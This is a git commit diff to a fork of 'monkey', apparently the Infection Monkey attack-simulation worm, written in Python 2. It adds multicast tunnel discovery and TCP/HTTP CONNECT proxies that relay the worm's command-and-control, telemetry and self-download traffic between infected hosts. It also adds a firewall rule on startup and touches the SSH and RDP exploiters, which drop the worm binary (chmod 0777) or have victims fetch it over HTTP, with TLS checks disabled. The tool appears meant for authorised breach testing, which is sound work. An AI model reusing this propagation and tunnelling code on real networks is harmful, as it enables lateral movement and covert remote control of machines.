forked from p15670423/monkey
parent
ef6474f7b6
commit
edc0f5fdf3
|
@ -8,6 +8,9 @@ import monkeyfs
|
||||||
from network.info import local_ips
|
from network.info import local_ips
|
||||||
from socket import gethostname, gethostbyname_ex
|
from socket import gethostname, gethostbyname_ex
|
||||||
from config import WormConfiguration, Configuration, GUID
|
from config import WormConfiguration, Configuration, GUID
|
||||||
|
from transport.tcp import TcpProxy
|
||||||
|
from transport.http import HTTPConnectProxy
|
||||||
|
import tunnel
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -17,6 +20,7 @@ LOG = logging.getLogger(__name__)
|
||||||
DOWNLOAD_CHUNK = 1024
|
DOWNLOAD_CHUNK = 1024
|
||||||
|
|
||||||
class ControlClient(object):
|
class ControlClient(object):
|
||||||
|
proxies = {}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def wakeup(parent=None):
|
def wakeup(parent=None):
|
||||||
|
@ -33,27 +37,49 @@ class ControlClient(object):
|
||||||
'ip_addresses' : local_ips(),
|
'ip_addresses' : local_ips(),
|
||||||
'description' : " ".join(platform.uname()),
|
'description' : " ".join(platform.uname()),
|
||||||
'config' : WormConfiguration.as_dict(),
|
'config' : WormConfiguration.as_dict(),
|
||||||
'parent' : parent
|
'parent' : parent,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if ControlClient.proxies:
|
||||||
|
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||||
|
|
||||||
reply = requests.post("https://%s/api/monkey" % (server,),
|
reply = requests.post("https://%s/api/monkey" % (server,),
|
||||||
data=json.dumps(monkey),
|
data=json.dumps(monkey),
|
||||||
headers={'content-type' : 'application/json'},
|
headers={'content-type' : 'application/json'},
|
||||||
verify=False)
|
verify=False,
|
||||||
|
proxies=ControlClient.proxies)
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
|
WormConfiguration.current_server = ''
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
server, exc)
|
server, exc)
|
||||||
|
|
||||||
|
if not WormConfiguration.current_server:
|
||||||
|
if not ControlClient.proxies:
|
||||||
|
LOG.info("Starting tunnel lookup...")
|
||||||
|
proxy_find = tunnel.find_tunnel()
|
||||||
|
if proxy_find:
|
||||||
|
LOG.info("Found tunnel at %s:%s" % proxy_find)
|
||||||
|
ControlClient.proxies['https'] = 'https://%s:%s' % proxy_find
|
||||||
|
ControlClient.wakeup(parent)
|
||||||
|
else:
|
||||||
|
LOG.info("No tunnel found")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def keepalive():
|
def keepalive():
|
||||||
|
if not WormConfiguration.current_server:
|
||||||
|
return
|
||||||
try:
|
try:
|
||||||
|
monkey = {}
|
||||||
|
if ControlClient.proxies:
|
||||||
|
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||||
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
||||||
data=json.dumps({}),
|
data=json.dumps(monkey),
|
||||||
headers={'content-type' : 'application/json'},
|
headers={'content-type' : 'application/json'},
|
||||||
verify=False)
|
verify=False,
|
||||||
|
proxies=ControlClient.proxies)
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
@ -61,12 +87,15 @@ class ControlClient(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def send_telemetry(tele_type='general',data=''):
|
def send_telemetry(tele_type='general',data=''):
|
||||||
|
if not WormConfiguration.current_server:
|
||||||
|
return
|
||||||
try:
|
try:
|
||||||
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
|
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
|
||||||
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
||||||
data=json.dumps(telemetry),
|
data=json.dumps(telemetry),
|
||||||
headers={'content-type' : 'application/json'},
|
headers={'content-type' : 'application/json'},
|
||||||
verify=False)
|
verify=False,
|
||||||
|
proxies=ControlClient.proxies)
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
|
@ -74,8 +103,12 @@ class ControlClient(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def load_control_config():
|
def load_control_config():
|
||||||
|
if not WormConfiguration.current_server:
|
||||||
|
return
|
||||||
try:
|
try:
|
||||||
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False)
|
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
||||||
|
verify=False,
|
||||||
|
proxies=ControlClient.proxies)
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
|
@ -90,11 +123,13 @@ class ControlClient(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def download_monkey_exe(host):
|
def download_monkey_exe(host):
|
||||||
|
if not WormConfiguration.current_server:
|
||||||
|
return None
|
||||||
try:
|
try:
|
||||||
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
||||||
data=json.dumps(host.as_dict()),
|
data=json.dumps(host.as_dict()),
|
||||||
headers={'content-type' : 'application/json'},
|
headers={'content-type' : 'application/json'},
|
||||||
verify=False)
|
verify=False, proxies=ControlClient.proxies)
|
||||||
|
|
||||||
if 200 == reply.status_code:
|
if 200 == reply.status_code:
|
||||||
result_json = reply.json()
|
result_json = reply.json()
|
||||||
|
@ -107,7 +142,9 @@ class ControlClient(object):
|
||||||
return dest_file
|
return dest_file
|
||||||
else:
|
else:
|
||||||
download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
|
download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
|
||||||
verify=False)
|
verify=False,
|
||||||
|
proxies=ControlClient.proxies)
|
||||||
|
|
||||||
with monkeyfs.open(dest_file, 'wb') as file_obj:
|
with monkeyfs.open(dest_file, 'wb') as file_obj:
|
||||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
||||||
if chunk:
|
if chunk:
|
||||||
|
@ -122,3 +159,25 @@ class ControlClient(object):
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def create_control_tunnel():
|
||||||
|
if not WormConfiguration.current_server:
|
||||||
|
return None
|
||||||
|
|
||||||
|
my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
|
||||||
|
if my_proxy:
|
||||||
|
proxy_class = TcpProxy
|
||||||
|
try:
|
||||||
|
target_addr, target_port = my_proxy.split(':', 1)
|
||||||
|
target_port = int(target_port)
|
||||||
|
except:
|
||||||
|
return None
|
||||||
|
else:
|
||||||
|
proxy_class = HTTPConnectProxy
|
||||||
|
target_addr, target_port = None, None
|
||||||
|
|
||||||
|
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -243,6 +243,10 @@ class RdpExploiter(HostExploiter):
|
||||||
# create server for http download.
|
# create server for http download.
|
||||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
||||||
|
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
|
||||||
if self._config.rdp_use_vbs_download:
|
if self._config.rdp_use_vbs_download:
|
||||||
command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path' : http_path}
|
command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path' : http_path}
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -6,17 +6,25 @@ from exploit import HostExploiter
|
||||||
from model import MONKEY_ARG
|
from model import MONKEY_ARG
|
||||||
from exploit.tools import get_target_monkey
|
from exploit.tools import get_target_monkey
|
||||||
from network.tools import check_port_tcp
|
from network.tools import check_port_tcp
|
||||||
|
import time
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
SSH_PORT = 22
|
SSH_PORT = 22
|
||||||
|
TRANSFER_UPDATE_RATE = 15
|
||||||
|
|
||||||
class SSHExploiter(HostExploiter):
|
class SSHExploiter(HostExploiter):
|
||||||
_target_os_type = ['linux', None]
|
_target_os_type = ['linux', None]
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
|
self._update_timestamp = 0
|
||||||
|
|
||||||
|
def log_transfer(self, transferred, total):
|
||||||
|
if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
|
||||||
|
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||||
|
self._update_timestamp = time.time()
|
||||||
|
|
||||||
def exploit_host(self, host, src_path=None):
|
def exploit_host(self, host, src_path=None):
|
||||||
ssh = paramiko.SSHClient()
|
ssh = paramiko.SSHClient()
|
||||||
|
@ -45,7 +53,8 @@ class SSHExploiter(HostExploiter):
|
||||||
ssh.connect(host.ip_addr,
|
ssh.connect(host.ip_addr,
|
||||||
username=self._config.ssh_user,
|
username=self._config.ssh_user,
|
||||||
password=password,
|
password=password,
|
||||||
port=port)
|
port=port,
|
||||||
|
timeout=None)
|
||||||
|
|
||||||
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
||||||
host, self._config.ssh_user, password)
|
host, self._config.ssh_user, password)
|
||||||
|
@ -95,8 +104,9 @@ class SSHExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
ftp = ssh.open_sftp()
|
ftp = ssh.open_sftp()
|
||||||
|
|
||||||
|
self._update_timestamp = time.time()
|
||||||
with monkeyfs.open(src_path) as file_obj:
|
with monkeyfs.open(src_path) as file_obj:
|
||||||
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path))
|
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer)
|
||||||
ftp.chmod(self._config.dropper_target_path_linux, 0777)
|
ftp.chmod(self._config.dropper_target_path_linux, 0777)
|
||||||
|
|
||||||
ftp.close()
|
ftp.close()
|
||||||
|
|
|
@ -97,7 +97,7 @@ def main():
|
||||||
if WormConfiguration.serialize_config:
|
if WormConfiguration.serialize_config:
|
||||||
with open(config_file, 'w') as config_fo:
|
with open(config_file, 'w') as config_fo:
|
||||||
json_dict = WormConfiguration.as_dict()
|
json_dict = WormConfiguration.as_dict()
|
||||||
json.dump(json_dict, config_fo)
|
json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
|
||||||
|
|
||||||
return True
|
return True
|
||||||
finally:
|
finally:
|
||||||
|
|
|
@ -4,9 +4,11 @@ import time
|
||||||
import logging
|
import logging
|
||||||
import platform
|
import platform
|
||||||
from system_singleton import SystemSingleton
|
from system_singleton import SystemSingleton
|
||||||
|
from network.firewall import app as firewall
|
||||||
from control import ControlClient
|
from control import ControlClient
|
||||||
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
||||||
from network.network_scanner import NetworkScanner
|
from network.network_scanner import NetworkScanner
|
||||||
|
import tunnel
|
||||||
import getopt
|
import getopt
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
@ -46,16 +48,20 @@ class ChaosMonkey(object):
|
||||||
self._keep_running = True
|
self._keep_running = True
|
||||||
self._network = NetworkScanner()
|
self._network = NetworkScanner()
|
||||||
self._dropper_path = sys.argv[0]
|
self._dropper_path = sys.argv[0]
|
||||||
self._os_type = platform.system().lower()
|
|
||||||
self._machine = platform.machine().lower()
|
|
||||||
|
|
||||||
ControlClient.wakeup(self._parent)
|
|
||||||
ControlClient.load_control_config()
|
|
||||||
|
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
LOG.info("WinWorm is running...")
|
LOG.info("WinWorm is running...")
|
||||||
|
|
||||||
|
if firewall.is_enabled():
|
||||||
|
firewall.add_firewall_rule()
|
||||||
|
|
||||||
|
ControlClient.wakeup(self._parent)
|
||||||
|
|
||||||
|
monkey_tunnel = ControlClient.create_control_tunnel()
|
||||||
|
if monkey_tunnel:
|
||||||
|
monkey_tunnel.start()
|
||||||
|
|
||||||
for _ in xrange(WormConfiguration.max_iterations):
|
for _ in xrange(WormConfiguration.max_iterations):
|
||||||
ControlClient.keepalive()
|
ControlClient.keepalive()
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
|
@ -136,7 +142,18 @@ class ChaosMonkey(object):
|
||||||
if self._keep_running:
|
if self._keep_running:
|
||||||
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
||||||
|
|
||||||
|
if monkey_tunnel:
|
||||||
|
monkey_tunnel.stop()
|
||||||
|
monkey_tunnel.join()
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
self._keep_running = False
|
self._keep_running = False
|
||||||
|
|
||||||
self._singleton.unlock()
|
self._singleton.unlock()
|
||||||
|
|
||||||
|
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
|
||||||
|
if tunnel_address:
|
||||||
|
LOG.info("Quitting tunnel %s", tunnel_address)
|
||||||
|
tunnel.quit_tunnel(tunnel_address)
|
||||||
|
|
||||||
|
firewall.close()
|
||||||
|
|
|
@ -24,3 +24,4 @@ from tcp_scanner import TcpScanner
|
||||||
from smbfinger import SMBFinger
|
from smbfinger import SMBFinger
|
||||||
from sshfinger import SSHFinger
|
from sshfinger import SSHFinger
|
||||||
from info import local_ips
|
from info import local_ips
|
||||||
|
from info import get_free_tcp_port
|
|
@ -2,6 +2,8 @@ import sys
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import array
|
import array
|
||||||
|
import psutil
|
||||||
|
from random import randint
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -40,3 +42,17 @@ else:
|
||||||
#name of interface is (namestr[i:i+16].split('\0', 1)[0]
|
#name of interface is (namestr[i:i+16].split('\0', 1)[0]
|
||||||
finally:
|
finally:
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
def get_free_tcp_port(min_range=1000, max_range=65535):
|
||||||
|
start_range = min(1, min_range)
|
||||||
|
max_range = min(65535, max_range)
|
||||||
|
|
||||||
|
in_use = [conn.laddr[1] for conn in psutil.net_connections()]
|
||||||
|
|
||||||
|
for i in range(min_range, max_range):
|
||||||
|
port = randint(start_range, max_range)
|
||||||
|
|
||||||
|
if not port in in_use:
|
||||||
|
return port
|
||||||
|
|
||||||
|
return None
|
|
@ -0,0 +1,13 @@
|
||||||
|
from threading import Thread
|
||||||
|
|
||||||
|
class TransportProxyBase(Thread):
|
||||||
|
def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''):
|
||||||
|
self.local_host = local_host
|
||||||
|
self.local_port = local_port
|
||||||
|
self.dest_host = dest_host
|
||||||
|
self.dest_port = dest_port
|
||||||
|
self._stopped = False
|
||||||
|
super(TransportProxyBase, self).__init__()
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self._stopped = True
|
|
@ -3,6 +3,10 @@ import shutil
|
||||||
import struct
|
import struct
|
||||||
import monkeyfs
|
import monkeyfs
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
|
from base import TransportProxyBase
|
||||||
|
from urlparse import urlsplit
|
||||||
|
import select
|
||||||
|
import socket
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -97,6 +101,51 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
format % args))
|
format % args))
|
||||||
|
|
||||||
|
|
||||||
|
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
|
timeout = 2 # timeout with clients, set to None not to make persistent connection
|
||||||
|
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
|
||||||
|
protocol_version = "HTTP/1.1"
|
||||||
|
|
||||||
|
def version_string(self):
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def do_CONNECT(self):
|
||||||
|
# just provide a tunnel, transfer the data with no modification
|
||||||
|
req = self
|
||||||
|
reqbody = None
|
||||||
|
req.path = "https://%s/" % req.path.replace(':443', '')
|
||||||
|
|
||||||
|
u = urlsplit(req.path)
|
||||||
|
address = (u.hostname, u.port or 443)
|
||||||
|
try:
|
||||||
|
conn = socket.create_connection(address)
|
||||||
|
except socket.error:
|
||||||
|
self.send_error(504) # 504 Gateway Timeout
|
||||||
|
return
|
||||||
|
self.send_response(200, 'Connection Established')
|
||||||
|
self.send_header('Connection', 'close')
|
||||||
|
self.end_headers()
|
||||||
|
|
||||||
|
conns = [self.connection, conn]
|
||||||
|
keep_connection = True
|
||||||
|
while keep_connection:
|
||||||
|
keep_connection = False
|
||||||
|
rlist, wlist, xlist = select.select(conns, [], conns, self.timeout)
|
||||||
|
if xlist:
|
||||||
|
break
|
||||||
|
for r in rlist:
|
||||||
|
other = conns[1] if r is conns[0] else conns[0]
|
||||||
|
data = r.recv(8192)
|
||||||
|
if data:
|
||||||
|
other.sendall(data)
|
||||||
|
keep_connection = True
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
def log_message(self, format, *args):
|
||||||
|
LOG.debug("HTTPConnectProxyHandler: %s - - [%s] %s" % (self.address_string(),
|
||||||
|
self.log_date_time_string(),
|
||||||
|
format % args))
|
||||||
|
|
||||||
class InternalHTTPServer(BaseHTTPServer.HTTPServer):
|
class InternalHTTPServer(BaseHTTPServer.HTTPServer):
|
||||||
def handle_error(self, request, client_address):
|
def handle_error(self, request, client_address):
|
||||||
#ToDo: debug log error
|
#ToDo: debug log error
|
||||||
|
@ -137,3 +186,10 @@ class HTTPServer(threading.Thread):
|
||||||
self._stopped = True
|
self._stopped = True
|
||||||
self.join(timeout)
|
self.join(timeout)
|
||||||
|
|
||||||
|
class HTTPConnectProxy(TransportProxyBase):
|
||||||
|
def run(self):
|
||||||
|
httpd = InternalHTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
||||||
|
httpd.timeout = 10
|
||||||
|
|
||||||
|
while not self._stopped:
|
||||||
|
httpd.handle_request()
|
||||||
|
|
|
@ -0,0 +1,76 @@
|
||||||
|
import sys
|
||||||
|
import socket
|
||||||
|
import select
|
||||||
|
import time
|
||||||
|
from threading import Thread
|
||||||
|
from base import TransportProxyBase
|
||||||
|
from logging import getLogger
|
||||||
|
|
||||||
|
READ_BUFFER_SIZE = 8192
|
||||||
|
DEFAULT_TIMEOUT = 10
|
||||||
|
|
||||||
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
|
class SocketsPipe(Thread):
|
||||||
|
def __init__(self, source, dest, timeout=DEFAULT_TIMEOUT):
|
||||||
|
Thread.__init__( self )
|
||||||
|
self.source = source
|
||||||
|
self.dest = dest
|
||||||
|
self.timeout = timeout
|
||||||
|
self._keep_connection = True
|
||||||
|
super(SocketsPipe, self).__init__()
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
sockets = [self.source, self.dest]
|
||||||
|
while self._keep_connection:
|
||||||
|
self._keep_connection = False
|
||||||
|
rlist, wlist, xlist = select.select(sockets, [], sockets, self.timeout)
|
||||||
|
if xlist:
|
||||||
|
break
|
||||||
|
for r in rlist:
|
||||||
|
other = self.dest if r is self.source else self.source
|
||||||
|
try:
|
||||||
|
data = r.recv(READ_BUFFER_SIZE)
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
if data:
|
||||||
|
try:
|
||||||
|
other.sendall(data)
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
self._keep_connection = True
|
||||||
|
|
||||||
|
self.source.close()
|
||||||
|
self.dest.close()
|
||||||
|
|
||||||
|
class TcpProxy(TransportProxyBase):
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
pipes = []
|
||||||
|
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
l_socket.bind((self.local_host, self.local_port))
|
||||||
|
l_socket.settimeout(DEFAULT_TIMEOUT)
|
||||||
|
l_socket.listen(5)
|
||||||
|
|
||||||
|
while not self._stopped:
|
||||||
|
try:
|
||||||
|
source, address = l_socket.accept()
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
dest.connect((self.dest_host, self.dest_port))
|
||||||
|
except socket.error, ex:
|
||||||
|
source.close()
|
||||||
|
dest.close()
|
||||||
|
continue
|
||||||
|
|
||||||
|
pipe = SocketsPipe(source, dest)
|
||||||
|
pipes.append(pipe)
|
||||||
|
LOG.debug("piping sockets %s:%s->%s:%s", address[0], address[1], self.dest_host, self.dest_port)
|
||||||
|
pipe.start()
|
||||||
|
|
||||||
|
l_socket.close()
|
||||||
|
for pipe in pipes:
|
||||||
|
pipe.join()
|
|
@ -0,0 +1,133 @@
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import logging
|
||||||
|
from threading import Thread
|
||||||
|
from network.info import local_ips, get_free_tcp_port
|
||||||
|
from network.firewall import app as firewall
|
||||||
|
from difflib import get_close_matches
|
||||||
|
from network.tools import check_port_tcp
|
||||||
|
import time
|
||||||
|
|
||||||
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
MCAST_GROUP = '224.1.1.1'
|
||||||
|
MCAST_PORT = 5007
|
||||||
|
BUFFER_READ = 1024
|
||||||
|
DEFAULT_TIMEOUT = 10
|
||||||
|
QUIT_TIMEOUT = 1200 #20 minutes
|
||||||
|
|
||||||
|
def _set_multicast_socket(timeout=DEFAULT_TIMEOUT):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
sock.bind(('', MCAST_PORT))
|
||||||
|
sock.setsockopt(socket.IPPROTO_IP,
|
||||||
|
socket.IP_ADD_MEMBERSHIP,
|
||||||
|
struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY))
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT):
|
||||||
|
sock = _set_multicast_socket(timeout)
|
||||||
|
|
||||||
|
l_ips = local_ips()
|
||||||
|
|
||||||
|
for attempt in range(0, attempts):
|
||||||
|
try:
|
||||||
|
sock.sendto("?", (MCAST_GROUP, MCAST_PORT))
|
||||||
|
answer, address = sock.recvfrom(BUFFER_READ)
|
||||||
|
|
||||||
|
while answer in ['?', '+', '-']:
|
||||||
|
answer, address = sock.recvfrom(BUFFER_READ)
|
||||||
|
|
||||||
|
if answer.find(':') != -1:
|
||||||
|
address, port = answer.split(':', 1)
|
||||||
|
if address in l_ips:
|
||||||
|
continue
|
||||||
|
if not check_port_tcp(address, int(port)):
|
||||||
|
continue
|
||||||
|
|
||||||
|
sock.sendto("+", (address, MCAST_PORT))
|
||||||
|
sock.close()
|
||||||
|
return (address, port)
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
|
||||||
|
try:
|
||||||
|
sock = _set_multicast_socket(timeout)
|
||||||
|
sock.sendto("-", (address, MCAST_PORT))
|
||||||
|
sock.close()
|
||||||
|
LOG.debug("Success quitting tunnel")
|
||||||
|
except Exception, exc:
|
||||||
|
LOG.debug("Exception quitting tunnel: %s", exc)
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
class MonkeyTunnel(Thread):
|
||||||
|
def __init__(self, proxy_class, target_addr=None, target_port=None, timeout=DEFAULT_TIMEOUT):
|
||||||
|
self._target_addr = target_addr
|
||||||
|
self._target_port = target_port
|
||||||
|
self._proxy_class = proxy_class
|
||||||
|
self._broad_sock = None
|
||||||
|
self._timeout = timeout
|
||||||
|
self._stopped = False
|
||||||
|
self._clients = []
|
||||||
|
super(MonkeyTunnel, self).__init__()
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self._broad_sock = _set_multicast_socket(self._timeout)
|
||||||
|
|
||||||
|
l_ips = local_ips()
|
||||||
|
|
||||||
|
local_port = get_free_tcp_port()
|
||||||
|
|
||||||
|
if not local_port:
|
||||||
|
return
|
||||||
|
|
||||||
|
if not firewall.listen_allowed(localport=local_port):
|
||||||
|
LOG.info("Machine firewalled, listen not allowed, not running tunnel.")
|
||||||
|
return
|
||||||
|
|
||||||
|
proxy = self._proxy_class(local_port=local_port, dest_host=self._target_addr, dest_port=self._target_port)
|
||||||
|
LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, local_port)
|
||||||
|
proxy.start()
|
||||||
|
|
||||||
|
while not self._stopped:
|
||||||
|
try:
|
||||||
|
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||||
|
if '?' == search:
|
||||||
|
ip_match = get_close_matches(address[0], l_ips) or l_ips
|
||||||
|
if ip_match:
|
||||||
|
answer = '%s:%d' % (ip_match[0], local_port)
|
||||||
|
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
||||||
|
self._broad_sock.sendto(answer, (MCAST_GROUP, MCAST_PORT))
|
||||||
|
elif '+' == search:
|
||||||
|
if not address[0] in self._clients:
|
||||||
|
self._clients.append(address[0])
|
||||||
|
elif '-' == search:
|
||||||
|
self._clients = [client for client in self._clients if client != address[0]]
|
||||||
|
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
|
||||||
|
LOG.info("Stopping tunnel, waiting for clients")
|
||||||
|
stop_time = time.time()
|
||||||
|
while self._clients and (time.time() - stop_time < QUIT_TIMEOUT):
|
||||||
|
try:
|
||||||
|
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||||
|
if '-' == search:
|
||||||
|
self._clients = [client for client in self._clients if client != address[0]]
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
LOG.info("Closing tunnel")
|
||||||
|
self._broad_sock.close()
|
||||||
|
proxy.stop()
|
||||||
|
proxy.join()
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self._stopped = True
|
Loading…
Reference in New Issue